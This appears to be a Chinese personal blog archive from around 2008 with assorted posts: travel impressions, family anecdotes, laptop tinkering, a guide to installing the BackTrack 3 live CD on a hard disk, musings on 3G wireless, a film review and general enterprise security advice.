给兄弟的邮件，如何保持自己的快速成长

1、观察一个项目是如何操作下来的，怎么谈，怎么实施，怎么验收、回款，如何打出自己的影响，发展人脉
2、项目前期，如何与客户交流需求，收集相关资料，协调公司资源
3、实施过程中，如何协调自己能掌握的资源，做好项目组内各人的配合，有完善实施计划和总结。
4、项目结束，如何验收，快速回款。找机会把项目延续下来，二期三期都能让客户主动找上来，不用再花费太多的市场费用 。
在大公司，可以学到很多东西，工程技能、思考方法、人脉、成熟客户、项目管理.....认真做好每一件事，每一刻都要观察和学习、思考，永远不懒散，保持上进。

对这些东西上心一些，过段时间到我公司里来吧。

如何确定，自己笔记本用的是不是最好键盘？

搜了一个晚上，看看自己的小黑，用的是哪种键盘。
手感排名为NMB, ALPS, Chicony
国内许多机器，用的是chicony，好像称为群光，手感很差。

如何不用拆机，查看自己用的是哪种键盘型号呢？

首先，看看自己的机器型号，如 x60s，xxxx-xx
然后找到sn号，都在机器背后 L3-XXXX类似的东西。

到这个网站http://www-3.ibm.com/pc/support/site.wss/warranty/warranty.vm
我主要时间都在等待这人网站的反应了，半天没有连上，以前有时连接时，速度还是挺快的，不知道今天为何速度这么慢。把上面的机器型号和SN号，都填入然后搜索

在下面的选 View parts lookup results for this system
找一下FRU-KS KBD的字样，看到NMB字样了吗？

恩，如何没有这样的字体，抄下那个FRU号码，再到另一个网页具体查看吧
http://www-307.ibm.com/pc/support/site.wss/document.do?sitestyle=lenovo&lndocid=MIGR-62916

虽然查出来，但感觉也并不象吹牛般那样好，显然不如我的cherry键盘。走了，该去锻炼了

兰州印象

早上7点，所有人都在睡觉。昨晚上0点以后才睡。早上起来，写一下初到兰州几天的印象。

兰州的空气很差，灰尘比济南还多，空气中弥漫着一种化工或油气的味道。当地消费也是两极分化。平时吃饭，在好的饭店要上一桌子饭菜，一般二百来钱。平时到小店吃饭，都是去干净装修比较好的，一般是三五块钱，有时是当地有名的兰州拉面，有时是肉包粥菜，有时是烧烤（这个稍贵），不比感觉比东部沿海城市的消费，要低很多。东部的收入，拿到这边来花，还是比较爽的。

在住的地方周围逛了逛。整个城市，尤其是中心部位感觉很小，整个市中心，无论从哪头逛，走着都是一二十分钟的路程，永昌路向北，是水势汹涌的黄河。接近黄河边上，有一条东西走向的步行街，名字叫张掖路。非常宽，没有行车，路两边商铺大厦林立，西边有亚欧商厦，西单商厦什么的，向东有百安百货大楼、电子科技大楼什么的，再向东走几个路口，不远就是城边，东方广场，据说旁边的国防百盛商场，东西便宜货又好，没有假货。这是出租车司机师傅的原话。繁华的地方不是很多，只集中在上面这几个地方。尤其是张掖路上最热闹，在靠近永昌路的地方，还有兰州的城隍庙，主要经营古玩字画一类。进入看了看，整个庙保存非常完好，古老的建筑，让人感觉一新，各处屋檐调角墙壁，还有大梁雕刻什么的，在其它地方都看不到。许多地方都是现在人修葺的，已经丢失了大部分古味。这儿却保存的很好，整个大院独立成体，大殿偏房、各处细节，都和昨天刚刚换了住户一般。这也正是让人痛苦的地方。看上面，城隍庙古香古色，看下来却是吆喝着赚钱的小贩，要保持那份欣赏的感觉，实在不容易。

兰州消费不高。平时吃饭，3块钱就能到干净的小店吃的很饱，还是当地特色小吃。卖衣服的店铺，打了促销的牌子，都是30-40块一件。到店里看当地的那种牛皮鞋，一般不会超过150。然而去了一趟亚欧商厦，却看到一个简单的钱包，价格是
2690元。也许和全国各地一样，都有生活在不同境地人们，有的为了生计拼搏，有的却毫无消费上的顾虑。

这样的城市，晚上却很热闹。尤其是永昌路，天一落黑，大街上就挤满了卖各色货品的小摊和行人。再向北，靠近黄河的地方，有各种好点儿的饭店、酒吧、舞厅、KTV什么的，到了晚上0点过后，大街上还有许多人，三三两两地走着。出租车来来去去，繁忙地拉着客人，饭店里还坐着吃饭或聊天的人们。这样一个贫穷的城市，让人恍惚间以为到了广州深圳。

硬盘安装liveCD

硬盘安装livecd

有很多的liveCD，是系统维护的好工具。比如无线破解的BT3、BT2,全称为backtrack3，只一张光盘，提供了大量的工具，更对无线破解集成了许多很棒的工具套件。其它，还有damm
small linux,knoppix，bootCd，Zlinux,pfsense,mono,winpe,蓝色火焰，星星雨。。。种类非常多，每一种都不可缺少，提供的功能都不可替代。但这些好工具是压缩集成在光盘上的，想把现成的工具光盘安装到硬盘，需要一定的操作经验。硬盘安装liveCD是个非常有用的功能，但一般操作起来会非常麻烦，经验不足会面临不少的失败阻碍。

下面以backtrack 3的安装为例，说明这种安装常用的步骤和注意事项。
backtrack3是slax为母盘定制的，其实是slackware
12.0修改过来的。现在使用slackware的人非常少了，这种linux版本，更接近bsd的风格，与传统unix的文件结构更加接近。现在流行的ubuntu,redhat,红旗一类，似乎是system
V的文件结构形式，使用了大量的配置工具，打包的系统文件特别臃肿，光安装盘就有好几张光盘。系统速度慢，垃圾文件多。象damm small
linux为代表的这类工具，大小只有50MB，包含了常用的功能，上网的firefox，收邮件，听歌，看电影，办公，聊天。。。。还有什么来着？常用的工具都全了。而BT3不光这个，还提供了开发工具，编译程序，系统源码，成千上万的黑客工具套件，简直应用尽有了。

如何把这些好工具安装到硬盘上面呢？
其实BT3提供了安装向导，但经常会安装失败，有时还会把主分区表破坏，最后整个硬盘只有BT3，我们肯定不想发生这种情况。下面看看如何更快更好地手动安装，保证不会破坏分区表，而且可以多种系统并存。可以在xp下引导bt，也可以在Bt下面引导xp。
首先，最简单的办法。xp下面，安装grub4dos这个工具，只有几十kb大小，我们只拿其中的三个文件。grldr,menu.lst，还有一个grldr.mbr，好像最后这个文件不用也可以。我没试过，照操作来的。然后修改windows的下boot.ini文件。在里面加一行
c:\grldr="my BackTrack3"就可以了。另外，还需要修改menu.lst，这个文件的用法和在linux下面一样，并且提供了许多示例。对于BT3，我们需要添加这样一行记录：
title my BackTrack3
root(hd0,0) (这儿要看安装到在哪个分区)
kernel /boot/vmlinuz max_loop=255 initrd=initrd.gz init=linuxrc
load_ramdisk=1 prompt_ramdisk=0 ramdisk_size=6666 root=/dev/ram0 rw
initrd /boot/initrd.g
boot

把上面几行放到menu.lst里面，就可以引导了。网上还有制作制作精美的一个引导文件,grbt3，另外还加上漂亮的背景，以及中文字体。

这种方法的缺点，是每次引导后，操作记录都无法存盘。因为一切都模拟的光盘，所以每次系统重启后，我们相当于都使用一个完全的新系统，有些类似系统还原卡的原理。另外，在iso文件中的bt3/modules中，只要添加一个别人制作好的lzm文件，就可以对整个系统完成汉化。倒也快捷方便。从这二个方面说，也算是个挺好的优点吧。

下面说第二种方案，把整个BT3安装到硬盘的linux
ext2分区中。说到这儿，想起来，BT3的系统安装程度，似乎把分区设置为ext3格式。不大喜欢这种格式，尤其在个人用的机器上，还是ext2来的实在些。呵呆。
最初的步骤，和一般的linux安装完全一样，硬盘分区格式化什么的，网上有大量的文章讲这些。实在不会，找个图形化的操作工具，如pq一类，照图画猫，几下就可以分好区。下面只说关键的部分。
使用bt3的光盘引导后。将硬盘划好的分区，mount到本地。
1.mkdir /mnt/hda2
2.mount /dev/hda2 /mnt/hda2
3.开始复制
cp --preserve -R
/{bin,boot,home,pentest,root,usr,etc,lib,opt,sbin,var} /mnt/hda2/
，视机器速度而定，我的pII 300的老机器，安装了不到十分钟就完成了。下面的几步就快了，几条命令就可以完成。
4.mkdir /mnt/hda2/{sys,mnt,proc,tmp}
5.mount --bind /dev /mnt/bt3/dev
6.mount -t proc proc /mnt/hda2/proc
7.chmod 777 /mnt/hda2/tmp
完成上面几步，再转换环境，把目标分区去操作
chroot /mnt/hda2 /bin/bash
vi /etc/fstab 根本以后系统使用时的实际情况修改。原来启动系统的分区，都是光盘相关的，这时，一定要改为自己刚刚划分好的分区相关的信息。如刚划分的hda2，文件原为光盘相关的cd0
vi /etc/lilo.conf
这是系统引导文件，跟上面提到的grub有些类似，是稍早一些的引导程度。也非常容易修改，只要把lilo.conf文件中，关于hda的，改为相应的分区命名文字就可以了。
如，硬盘在刚才的分工名，是hda2，就把硬盘设置为hda，label1=bt3，把windows的记录也加进来。label=windows。这方面的文章，网上也非常多。不会的google一下lilo.conf
修改完后，lilo -v，可以看到成功信息:
Add BT3
Add windows
就说明成功。reboot后，就可以轻松享受自己的硬盘版BT3了。同理，照上面的操作，也非常制作出适合自己的U盘版本BT3，u盘版本的各种轻量化小工具集的OS。

先写到这儿，小宝宝睡醒了。正呀呀地朝爸爸招呼呢

改了几个地方，重新发布：最近几种值得期待的几线方式

最近值得期待的无线上网方式，可能会有如下几种的商用。

中国电信的cdma1x 提升为3G.他们的升级是最简单的，不需要再新建价值不菲的基站，只要在当前系统上升级一块板卡，就可以将上网速度，提升到3-4Mbpsps左右的带宽，这个速度可以满足许多应用，如视频和VOIP等等。有可能中国电信的3G开通是最早的。这儿的中国电信，现在已经合并到中国电信的C网。还有一种可能，是中国电信保持现有CDMA1x，再新加wifi布点。已经有现实应用证明，电信正在进行这种战略布局。比如福建、上海、南京、厦门、武汉、南昌等地，都有了大量的电信wifi。但
wifi这个东西，怎么说呢，技术起点并不高，投资也很大，覆盖一个区域需要大量的接点设备。而且政策上也有风险。国家一根筋似的，要求所有的wifi节点，必须支持wapi中国自有加密标准。而且要求，原来已有的wifi，也要换成支持wapi。政策上的东西，对具体的商用还是很有影响的。电信为什么不直接升级cdma1x直接到
EVDO呢？据说电信在12月份使用新的189号段，是专为高端用户打造的，以后也会首先在这个号段提供3G功能，但具体这个3G，是通过EVDO实现呢？还是通过wifi？也许答案得让电信自己揭开吧。

原中国联通的G网，与中国网通合并，现在称为中国联合网通通讯公司，简单中国联通。这个G网，可升级为wcdma的3G平台，这个技术是最成熟的，在欧美等地有大量应用，大量的网络都是WCDMA制式，而且相关技术还在快速发展之中，现在已经到了4G，4.5G的实际商用。但缺点是投资挺大。需要新建许多基站，每个基站的投资也得10万左右，算下来是个很惊人的投资规模。wcdma最早可达384kbps的带宽，现在的普通3G制式则可以达到14.4mbps上行，5.6mbps下行。在有些发达国家和地区已经商用的3.5G，则到了28Mbps上行，11Mbps下行。有的地方甚至更高。这个速度确实不错。不过，人们的应用越来越多，对网络依赖也越来越大，吃带宽的东东可不少，每一样新东西都会要求更多更高的带宽。

无线应用的老大，是中国移动，其它都是小兄弟。但现在绑上了TD-WCDMA，前边的路就有些痛苦。现在许多地方的移动网络升级为EDGE了，但速度和cdma1x差不多，何时能将现有网络升级到WCDMA呢？以移动的财大气粗，也许比联通要早一些，但绑着TD-WCDMA这个油瓶，会不会让步伐变慢呢？我还盼着，手里的这个手机号，尽量不更换，早一天用上移动的3G呢。实在不行，到时候只好先换成老联通了。
但移动还有个无线平台，估计用的人不多。在某些酒店、机场，会有移动提供的wifi接入点，是按时间收入的，好像是0.05元/分？具体我也没算过，速度挺快，用的人很少。用自己的手机发一条短信，就可以申请。具体可以问当地的1860。找到接入点后，连接，会跳出一个认证界面，输入用短信申请的账户和密码，就可以用了。可惜因为认证过程中，需要一个心跳窗口一直活动着，所以手机/pda上的wifi无法使用。要想使用，需要安装一个单独的工具才可以，对普通用户来说比较麻烦。移动用了透明网关和radius认证计费，和许多高校里的那种计费网关差不多。
话说，求人不如求已。如何保证方便快捷地无线上网，同时又价格便宜，满足日常应用？
说说我的经验：1、蹭网，不得已时偶尔用一下。2、或者用移动或联通的流量包月套餐，一般是几块钱包多少Mbps，我用的是5元包20Mbps。日常应用包括qq/msn/飞信、收发邮件、看一下新闻、偶尔baidu/google，经常一个月用下来，只有1-2Mbps的流量，根本用不完。3、跑网吧。不是火烧眉毛，又想网速快的话，跑到网吧处理下，费用挺便宜，一二个月才会去一次，体验一下也是不错的。4、上咖啡馆，发呆或看书，有免费的网用，可以呆上一天，也很是不错。5、去朋友那儿，看临近哪儿有朋友，过去聊几句，上上网，哈哈。6、恩，也不用时时挂在网上，脱网的时候，会让人有更多时间思考、学习，和别人交流沟通，也是很不错地。

最近值得期待的无线上网方式

最近值得期待的无线上网方式，可能会有如下几种的商用。

中国电信的cdma1x 提升为3G.他们的升级是最简单的，不需要再新建价值不菲的基站，只要在当前系统上升级一块板卡，就可以将上网速度，提升到上行3-4MB左右，下行11MB左右，这个速度可以满足许多应用，如视频和VOIP等等。有可能中国电信的3G开通是最早的。这儿的中国电信，现在已经合并到中国电信的C网。还有一种可能，是中国电信保持现有CDMA1x，再新加wifi布点。已经有现实应用证明，电信正在进行这种战略布局。比如福建、上海、南京、厦门、武汉、南昌等地，都有了大量的电信wifi。但
wifi这个东西，怎么说呢，技术起点并不高，投资也很大，覆盖一个区域需要大量的接点设备。而且政策上也有风险。国家一根筋似的，要求所有的wifi节点，必须支持wapi中国自有加密标准。而且要求，原来已有的wifi，也要换成支持wapi。政策上的东西，对具体的商用还是很有影响的。电信为什么不直接升级cdma1x直接到
EVDO呢？据说电信在12月份使用新的189号段，是专为高端用户打造的，有3G功能，但具体这个3G，是通过EVDO实现呢？还是通过wifi？也许答案得让电信自己揭开吧。

原中国联通的G网，与中国网通合并，现在称为中国联合网通通讯公司，简单中国联通。这个G网，可升级为wcdma的3G平台，这个技术是最成熟的，在欧洲美国，大量的网络都是WCDMA制式，而且相关技术还在快速发展之中，现在已经到了4G，4.5G的实际商用。但缺点是投资挺大。需要新建许多基站，每个基站的投资也得10万左右，算下来是个很惊人的投资规模。
无线应用的老大，是中国移动，其它都是小兄弟。但现在绑上了t-cdma，前边的路就有些痛苦，现在许多地方的gprs升级为EDGE了，但速度和cdma1x差不多，何时能升级到WCDMA呢？以移动的财大气粗，也许比联通要早一些，但绑着t-cdma这个油瓶，会不会让步伐变慢呢？我还盼着，手里的这个手机号，尽量不更换，早一天用上移动的3G呢。
但移动还有个无线平台，估计用的人不多。在某些酒店、机场，会有移动提供的wifi接入点，是按时间收入的，好像是0.05元/分？具体我也没算过，速度挺快，用的人很少。用自己的手机发一条短信，就可以申请。具体可以问当地的1860。找到接入点后，连接，会跳出一个认证界面，输入用短信申请的账户和密码，就可以用了。可惜因为认证过程中，需要一个心跳窗口一直活动着，所以手机/pda上的wifi无法使用。要想使用，需要安装一个单独的工具才可以，对普通用户来说比较麻烦。移动用了透明网关和radius认证计费，和许多高校里的那种计费网关差不多。
话说，求人不如求已。如何保证方便快捷地无线上网，同时又价格便宜，满足日常应用？
说说我的经验：1、蹭网，不得已时偶尔用一下。2、或者用移动或联通的流量包月套餐，一般是几块钱包多少MB，我用的是5元包20MB。日常应用包括qq/msn/飞信、收发邮件、看一下新闻、偶尔baidu/google，经常一个月用下来，只有1-2MB的流量，根本用不完。3、跑网吧。不是火烧眉毛，又想网速快的话，跑到网吧处理下，费用挺便宜，一二个月才会去一次，体验一下也是不错的。4、上咖啡馆，发呆或看书，有免费的网用，可以呆上一天，也很是不错。5、去朋友那儿，看临近哪儿有朋友，过去聊几句，上上网，哈哈。6、恩，也不用时时挂在网上，脱网的时候，会让人有更多时间思考、学习，和别人交流沟通，也是很不错地。

260块钱的ibm笔记本电脑

我有一台笔记本电脑，是260块钱买的。

机器虽然很老，但运行很快，是我的最爱机器。又一次拿出来，每个角度都那么完美。开机，不到一分钟进入系统，毕竟CPU的二级缓存是512KB，几年前，这个容量的缓存在当时流行CPU上面，还是最大的二级缓存。

打开千千静听，听着音乐，打开二十几个网页，机器还是轻松地跑着。上网听歌歌满够了，最主要的，键盘手感一流，现在的机器没有哪个能赶的上。

抚摸着机器，感叹着，毕竟才260块呀。而且买的时候还是新机器。真正的库存机器。卖家也比较实在，说机器开机报错，无法进入系统，只能进CMOS，一到自检状态就嘀嘀报错。于是，260块钱处理了。竟然挺长时间没人买，毕竟是坏机器。我一看错误码，很简单的原因，马上打去260元钱。
机器第二天就速递到家，打开包装，居然还有新机器特有的那种香气。每个地方，都特别新，是刚出厂的那种新。看风扇，也没有一丝灰尘，闪着清洁的铜色。在QQ上面问卖家，原来一直放在仓库里，没人用。点尘未沾。ibm
thinkpad tp600，查了一下序列号，是针对美国国内销售的定制机，难怪二级缓存是512KB的。

下午路过五金店，买了一块钮扣电池。到家就拆机，换上电池，嘀嘀，悦耳的自检过了，进入系统，运行了一下，完全正常。维修费用，一块钮扣电池，3块钱。
晚上兴奋着睡不着，装上FreeBSD，用电池运行，到了后半夜，机器居然还向网上发着测试数据，socket
send了大量的数据包，算了一下，似乎支持了四多个小时了。新机器的电池，也没有这么牛吧？第二天说给朋友们听，所有人都不相信。是啊，连我自己都觉的象在梦里。

机器就是个工具，然而，这个工具却如此让人喜爱。同样的小黑，这台tp600的旁边放着一块thinkpad
x60s，好处是轻巧，只有1.29KG，电池可以用四五个小时，而且是在正常操作着上网时，电池可以用这么长时间。待机时间就更长了，出门在外，有时忙开了，一二天都处在待机状态，打开机器后，还有许多电量。观察了一下，经常8小时待机，还余92%电量，基本一个小时用1%.不过，键盘手感太差，屏幕太小。还有个T60，主要用于跑应用，太厚重，拿在手里半块砖的感觉。倒是非常结实，掉在地上几次，没有任何毛病，运行速度也快，屏幕也不错，键盘手感也说的过去，但感觉，就像面对着一块石头工作，象是没有灵气的石头。就像原来用过的那台华硕，用着更难受，像在用着一块钢块，生硬，伤人。用了这么多机器，真爱原来在这儿，260块钱的tp600。编程、写文章、学习、上网娱乐，都可以很好地用着，而且还带给了我这么多的快乐。

sns的竟争

以前听说千[橡公司，就是做校内的这家公司，又做了个开心网，完全照搬最早的那家开心网(后面带数字001的那家www.kaixin001.com做的比较早)做的，名字也起的一样。其实，这一类的网站，前景渺茫，在一阵风式的国内大量此类网站上线，更是热闹了这场闹剧。
其实，最早的sns是国外的facebook，海/内'比较早地学到国内，引发了一股热潮，大家又在拷来拷去了，几乎没有多少创新。
现在的热情，又转到提供app上面了。其实sns本身的力量，还有许多没有挖掘出来。要不是孩子生病，正想写一篇现在针对校内网站的建议呢。可以改进的地方太多了，就这样固步自封了？从另一方面说，抄袭和一窝风地上线同样系统，和种地的农民眼光都是一样的，今年种大姜赚钱，于是大家都种大姜，去年种大白菜赚钱，结果今年大家都种了白菜，行情是，到了出地的时候，跌了几分钱一斤。
要是大家都做自己最擅长的事，就能创新，就能保持持续发展，就能有个良性的发展氛围了。
校内也是学的海/内'吧。在海/内'www.hainei.com上，提供的功能还是比海/内'多不少。

让人郁闷的是，在校内要是发此篇贴子，会不断提供"内容不合适"的提示，发贴失败。上面的内容不合法吗？竟争到屏蔽言论的程度了啊.只要出现最早的那家开心网ww.kaixin001.com的域名，直接就能屏蔽掉了。怎么能这样搞呢？

小善宝病了

咸开文病了。拉肚子，不受控制地拉稀；发烧，
抱在怀里，像抱着一块烧灼的火碳，让人感觉炙烤。也不爱吃饭，原来最喜欢的白面馒头，拿在手里思量了半天，塞在嘴里咽了几下，又吐出来。饼干、水果、稀饭，一口也吃不下。让人看在眼里，急在心里，哄了半天，才示意性地吃下一二口。原来胖嘟嘟的脸，瘦了半圈，扶着拦杆走的时候，都有些站立不稳了。最厉害的时候，手扶着地，努力地想撑起来，最后不得不放弃又躺下来。原来都是一咕噜翻个身就起来了，爬起来飞一般地就爬到喜欢的东西边上。现在几乎不动，额头发烧。
是怎么生的病呢？找了许多原因，每个都有可能。小善宝每天在地上爬，手里难免沾了些脏东西，又爱吃手，会不会因为这个？还有昨天妈妈开会，我在看书，小善宝自个儿光着屁股在屋里转来转去，自个儿玩了半天，有时累了就在冰凉的地上坐下来，是不是受凉了？或者晚上睡觉时蹬了被子，感冒了？或者昨天吃了个不新鲜的水果？或者。。。。
这么乖的小宝宝，从不乱哭乱闹，大人累的时候，就自个儿玩。大人烦的时候，就凑过小脸来，啊唔啊唔爸爸妈妈哥哥姐姐地乱叫一气，还拉着你的手作游戏，逗你开心。每天早上一睁眼，就乐呵呵地在床上转来转去；晚上困了，就钻到爸爸妈妈的怀里，眼睛闭着，额头蹭着你，软软的毛头贴在你的脸上，表示要睡觉了。一家人吃饭的时候，就把他放在餐桌旁边的儿童床上，善宝扶着栏杆，在那儿看每个人的表情，朝每个人说话，谁离的近，还伸手摸一摸，唉唉地招呼着。每次都感叹，上天给我们送来这么一位懂事体贴人的小天使。楼道里有四个一般大的小孩，整天听到别人家里哭闹的声音。我家里却总是善宝，咯咯哈哈呵呵的大笑声，善宝的快乐感染着每个人，让我们家从来没有拥有这么多的欢乐。善宝还喜欢蹭在电脑前赖着不走，前些天看见妈妈在上BBS，凑上来摸着键盘，竟然敲了一串的字："能奈我何哈哈哈哈哈哈哈哈呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵呵"，在屏幕上占了满满一行，不知道是怎么敲上去的。还曾经晃悠到我的机器前，趁我不注意，快速地操作了一把"不可恢复删除"，到现在我都觉的这是个神奇小子。
这么乖的小宝宝生病了，让人揪心地心疼。养儿方知父母恩。养育一个小孩，多么不容易啊。一天下来，把屎把尿，还要收拾家务，累的腰酸腿疼。真不是件容易的事呢。以前上学的时候，挺瞧不起来那些中年妇女，能力太差，啥也不懂，讲个课都是照本宣科，毫无章法。现在也算有所理解了。孩子是父母最大的财富。为了小宝宝，累点儿也高兴啊。和热恋的感觉一般，苦一点儿累一点儿，可一想到心爱的人，会跑到云�外了。体验一下才会知道，家庭妇女的劳累，并不比职场中的高强度工作差多少。能做好家务活，绝对是值得尊敬的。
虽然宝宝身脚无力，精神还好。吃饱了奶，还会在屋里爬着转来转去，这儿瞅瞅那儿看看，听着另一个房间有动静，就快速赶过去看个究竟。然而，总是拉稀，一不小心就弄脏了衣服。大冬天的，棉袄棉裤不好洗，妈妈一遍遍地冲到卫生间，还要收拾地上的脏物。折腾了一天，终于好些了。肚子有所好转，烧也退去不少。善宝看见爸爸妈妈玩球，乐的大喊大叫，在一边伸手蹬腿的。看见爸爸妈妈吃饭，扶着小床的栏杆，在边上蹦跳，嘴里还发出合着的声音，也不知道说了些什么，情结高涨。晚上临睡，宝宝困的睁不开眼了，洗了把脸精神了些，躺在怀里学认物，一本书翻来翻去好几遍，很认真地手指在上面指来指去。还稍微有些烧。终于快好了。
坚强快乐的小善宝，我的好宝宝。

儿子的诡计

儿子11个月的时候，又学会了许多新本事。
下午在餐厅里自个儿抓着苹果条吃，妈妈说，"善宝，来给爸爸出个猴款(扮一下丑的意思)"，小善宝扭过头来，鼻子簇成一团，变成迪斯尼乐园里小丑的样子，同时鼻子里还呼哧呼哧地抽着气。"唉呀，小善宝，啥时候学会的？"，心里说怎么老教这些呀，前砦天还学小猫叫，学的维妙维肖的，见个人就先啊唔啊唔的。现在学这个丑样，再大些会不会在脸上定型？会不会真的变成小丑的样子啊？
赶紧说，"小善宝怎么变丑了？咱可不学这个，改天爸爸教你变猴猴"。小善宝一听说他变丑了，居然不乐意地抗议起来，扭了头到一边，朝着妈妈救援似的喊起来。老婆赶紧说，"小善宝真棒，再做个鬼脸给妈妈看"。小善宝重新又兴趣盎然，鼻子簇成一团，呼哧呼哧地抽着气。
前几天，还学会了拉锯。晚上，善宝坐在垫子上玩着，看见姥姥过来，丢下玩具，快速地爬地姥姥身边，抓起娃娃的大拇指，身子就前后晃起来。
我在边上看书，看见这样忙问，咦，这是咋回事？原来善宝前几天学了个游戏，拉锯。配着歌谣，"拉锯拉锯，拉倒槐树，槐树倒了，木匠跑了"。小善宝听着歌，前后晃着，乐的小嘴都合不拢了。拉了几下，又重新拿起来玩具，玩了不到半分钟，又重新抓起来姥姥的手指，前后晃起来。如此反复，乐此不疲。晃了一会儿，姥姥晃的也累了。
我看着有趣，"善宝，来，来教教爸爸玩拉锯"，小善宝爬过来，装的很权威的样子，要教我怎么玩拉锯。我握着他的小手，热呼呼软呵呵的，没想到他却急着抽出手来，掰开我的手，只抓着我的大拇指，又重新前后晃起来。
当然，得爸爸配音，小善宝合着节奏，嘴里哼哼哈哈的，"打罗筛，罗面来，罗着饽饽吃饭来，你一口，我一口，馋坏了旁边的小狗狗，小狗狗汪汪，看中了善宝的火腿肠。。。。"
后边的也忘了，这个歌只记住前面的几句，后边赶紧给小善宝编了几句顺口溜。
可惜小善宝唱了没几遍，又开始左顾右盼，身子一扭，又爬去抓皮球了。
善宝11月零11天，是为记。学会了扮鬼脸、玩游戏拉锯、和爸爸妈妈打皮球。

007大破量子危机

实在忍不住，跑去看了一个不错的片子。007之大破量子危机。本来我想说很棒的片子，但也并不是前无古人后无来者的大片，只是很久没到电影院，猛一感受那种音效色影，竟有些感觉震憾了。
片子一开场就是激烈的赛车追逐，猛烈的机关枪，惊险不断的碰撞，随时都有生命危险。和以往我们看其它大片不一样，其它大片里的主人公都是神一般的身手，漂亮完美暴力，其它打手上来，都是飞蛾扑火一般，鸡蛋碰石头，马上就给灭了。可是在007里面，身手一流的邦德，也可能随时丧命。在枪林弹雨中，在高速的汽车追逐中，任何人的生命都是那样脆弱。
终于摆脱了杀手们的追击，来到一个朴实的建筑物前。原来是抓住了一个敌方情报人员。军情六处准备好好审一番，可这人一脸不屑，说他们的组织无所不在，正说话间，邦德的一个老同事竟掏枪射来。
为了调查这个神秘的组织。邦德沿着一个个线索追逐下去。和开始一样，很多次都几乎丧命天涯。在水中，开着摩托艇救美；在空中，开着运输机，差点儿被战斗机击落。尤其在空中的一段，几乎看不到生的希望，最后飞机着火，失去原油，也没有高度，而且还在山区，借着最后一股力量直冲天空，两个人用一个降落伞，又差点没打开，直到快落地时，感觉也就还有十几米了，降落伞才撑开，两个人重重地摔在地上。
既有暴烈的动作，又有一个个的阴谋，不断的诡计，不断的事端，不断的线索，感觉挺过瘾。
间谍特工这样的故事非常有诱惑力，几乎每个人，都会神往这样的神秘、刺激的生活。其实和黑客入侵一样，凡事都没有外人想像的那样轻松快乐。这里面的有趣，也包含了痛苦、需要坚韧才能承受的成分。拥有这样生活的人，基本都丧失了常人能够享受的东西，有得必有失，而且这种获得，基本是自私的，只是面向某一个具体组织的完全付出。看了这样的电影，往深里观察一下007，他其实是个不自由不快乐的人，所以，只好关爱美女，借酒浇愁，对死亡无所畏惧，不贪图钱财，随时准备着下一秒丢失生命。
电影最后没有给出最后的答案。这样的组织，也许确实是无处不在。

奇怪的是，电影为什么起了这么个怪名：大破量子危机？许多时候，这些国外的大片，翻译之后就变的怪诞了。懊悔没有看原版的片子。

漫画：
小猪虾米夫妻日记(卓越亚马逊网络独家品种）
一个人住第5年
黑背糗事录--最搞笑、最详尽的嘿咻大教程
找死的兔子
我们YY吧(精美的黑背漫画贴纸)
150cm Life/绘本小天后
黑背启示录--腾讯动漫人气最旺的漫画家黑背之最新爆笑巨作
小老爷们儿那点事儿
张小盒2--office成长记
熟女养成日志

企业面临的安全风险

现在的企业，正面临很多的安全风险。
今天去一家国内知名的企业，在国际上也很有名的一家企业。因为内网感染了病毒，影响了ERP、PDM系统，导致两天没法正常工作，我估计损失估计也得几十万吧。
很多企业以为安装了防病毒系统，就没事了。其实，企业因为信息化方面造成的损失，病毒还是比较弱的，最厉害的，针对企业有目的性的网络入侵。
先说说病毒问题。
企业如何防范病毒对业务系统的影响？杀毒软件只是一个工具，更重要的，企业要有网络方面的安全管理，要有流程落实，要有安全策略。大部分的企业，尤其生产经营性的企业，可能要占到90%
以上，根本没有完整有效的安全策略。企业内的信息中心，往往只有几个人，每天为一些系统维护等一些琐事疲于奔命。没有足够的时间研究技术，更没有足够的精力关注网络安全，网络中是否被人入侵，机密信息是否外泄。
当说到，再遇到病毒的时候，如何有效防范呢？我略顿一下，说：
需要从两个方面解决：1.建立有效的管理流程。比如针对网上操作行为的规范，发现异常时如何应急响应，如何报告，如何控制......2、技术上，要进行网络状态的监控、流量的监控，在预算有限的情况下，可以免费使用我们提供的防病毒网关、流量监控工具等，另外，对于如何分析数据包、手工查杀病毒等进一步的技术问题，可以请外部公司，进行专业技术培训，或者建立良好合作关系，在遇到一些紧急情况时，进行求助。
总之，要建立有效的安全策略，针对自身实际情况，建立有效的信息资产控制和管理。在技术上，不断进步，在水平有限的情况下，求助于更加专业的安全公司，比中我们，呵呵。

现在的网络攻击，或者称之为网络恶意行为，主要分为两种：1、针对个人用户，盗取网游账户、股票账户、银行卡账户；2、针对企业、政府等，进行入侵渗透，盗取机密，搜集数据（尤其是这个容易被人忽略），控制资源。
现在的网络攻击，更多带有利益驱动，纯粹显示技术能力的攻击，也会很快利用到利益事件中。比如做出一个技术革新的木马、病毒，很快就可以在上述领域见到活跃的身影。

今天来的这家企业，在国内某个领域独一无二，在国际上也很有竟争力。他们的研发中心，从外部网络很容易，就可以进入。在外部网络上，有许多办法，可以进入他们的财务、ERP、pdm、SAP系统。而在这之前，他们很少关注，更没有经常性地进行安全评估、渗透测试、检查系统，大量的磁盘空间里，快速运行的CPU和内存中，有些什么代码呢？
企业越来越依赖于信息技术，依赖于网络，一旦出现问题，还是很容易计算出损失的。比如，受此影响，两天里，可能有如下损失：
有许多人员无法正常工作
材料无法出库
车间无法运转
项目可能会延期，后期需赶期
有些订单没有订上，影响业务
发货受影响，资金积压。。。。。。。。。。

这是我作为一个外部人员，暂时想到的，要是企业老总和下面的员工，感受可能会更加丰富吧。所以说，这就是我们工作的价值所在吧。
不要玩虚的，能真正解决客户面临的问题，才是真正有价值的服务。

3G应用

从另一个意义说，我早就用上3g应用了。

手机上网，通过数据线，或红外，或蓝牙，或wifi，每天从网上自动抓取我需要的内容和数据，找到需要的东西了，就自动提醒一下，非常方便。
还有包月的cdma1x上网。不过国内不知道什么时候才会开通EVDO，据说速度可以达到几Mbps，暂时享受不到这个服务了。只能通过上面的方式上网。

有时需要使用笔记本通过手机上网，也可以通过红外、蓝外、wifi或数据线的方式。尤其是需要发几条短信的时候，在笔记本上面，还是很方便的。

恩，就这样吧，手机的事告一段落，还有许多正事没干完呢。

activesync无法同步，ppc无法连接电脑，手机不能同步，ppc 无法建立 PC 与设备的连接

activesync无法同步，ppc无法连接电脑，手机不能同步，ppc 无法建立 PC 与设备的连接

